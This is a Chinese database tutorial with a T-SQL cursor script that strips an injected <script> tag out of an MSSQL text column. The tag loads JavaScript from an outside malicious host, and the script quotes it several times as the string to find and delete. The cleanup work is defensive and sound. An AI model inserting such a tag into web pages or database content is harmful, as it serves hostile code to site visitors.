除MSSQL数据库text字段中恶意脚本的删方法

所属分类: 数据库 / MsSql 阅读数: 1569
收藏 0 赞 0 分享
方法很简单:text字段不能使用Replace,所以使用patindex
复制代码 代码如下:

-select * from Product where P_Intro like '%<script src="http://my.stsw518.cn/a002/1.js" src="http://my.stsw518.cn/a002/1.js"></script>%'
--text字段的替换处理示例--全表替换
-- select datalength(P_Intro),* from Product
--邀月 整理
--定义替换的字符串
declare @s_str nvarchar(4000),@d_str nvarchar(4000)
select @s_str='<script src="http://my.stsw518.cn/a002/1.js" src="http://my.stsw518.cn/a002/1.js"></script>' --要替换的字符串
,@d_str='' --替换成的字符串


--因为只能用patindex,所以对于搜索字符串做处理
set @s_str='%'+@s_str+'%'

--定义游标,循环处理数据
declare @id bigint
declare #tb cursor for select P_ID from Product where P_Intro like '%<script src="http://my.stsw518.cn/a002/1.js" src="http://my.stsw518.cn/a002/1.js"></script>%'
-- where P_ID=300727 ----where P_Intro like '%<script src="http://my.stsw518.cn/a002/1.js" src="http://my.stsw518.cn/a002/1.js"></script>%'
open #tb
fetch next from #tb into @id
while @@fetch_status=0
begin
--字符串替换处理
declare @p varbinary(16)
,@p1 int,@p2 int
,@rplen int,@step int,@len int

select @p=textptr(P_Intro)
,@rplen=len(@s_str)-2
,@step=len(@d_str)
,@p1=patindex(@s_str,P_Intro)
,@len=datalength(P_Intro)
,@p2=0
from Product
where P_id=@id

while @p1>0
begin
set @p2=@p1+@p2-1
updatetext Product.P_Intro @p @p2 @rplen @d_str
select @p2=@p2+1,@p1=patindex(@s_str,substring(P_Intro,@p2+1,@len))
from Product where P_ID=@id
end
fetch next from #tb into @id
end
close #tb
deallocate #tb

--显示结果
---- select datalength(P_Intro),* from Product
更多精彩内容其他人还在看

sql 分组查询问题

sql 分组查询问题,需要的朋友可以参考下。
收藏 0 赞 0 分享

MSSQL 数据库备份和还原的几种方法 图文教程

MSSQL 数据库备份和还原的几种方法小结,配有图文,大家看了就知道了。
收藏 0 赞 0 分享

GridView自定义分页的四种存储过程

首先要说说为什么不用GridView的默认的分页功能,GridView控件并非真正知道如何获得一个新页面,它只是请求绑定的数据源控件返回适合规定页面的行,分页最终是由数据源控件完成。
收藏 0 赞 0 分享

Godaddy 导入导出MSSQL数据库的实现步骤

可以从限制文件中导入SQL共享服务器数据库。如果想把存放在其他地方的数据导入,需要先把其内容拷到限制文件中。(
收藏 0 赞 0 分享

得到自增列的下一个会插入的id

怎么得到自增列的下一个会插入的id
收藏 0 赞 0 分享

几个简单的基本的sql语句

这个是从网上看到的。。。COPY一下。。有时候忘记了。。
收藏 0 赞 0 分享

sqlserver 自动备份所有数据库的SQL

可自动备份除系统数据库外的所有数据库。备份文件的周期保存周期可以更改。
收藏 0 赞 0 分享

SQL Server 服务器优化技巧浅谈

数据文件和日志文件的操作会产生大量的I/O。在可能的条件下,日志文件应该存放在一个与数据和索引所在的数据文件不同的硬盘上以分散I/O,同时还有利于数据库的灾难恢复。
收藏 0 赞 0 分享

sql2005 存储过程分页示例代码

sql2005分页存储过程示例
收藏 0 赞 0 分享

union组合结果集时的order问题

如果能确定各查询结果不会有重复的项,最好就带上all,因为这样还是可以提高一些效率的。
收藏 0 赞 0 分享
查看更多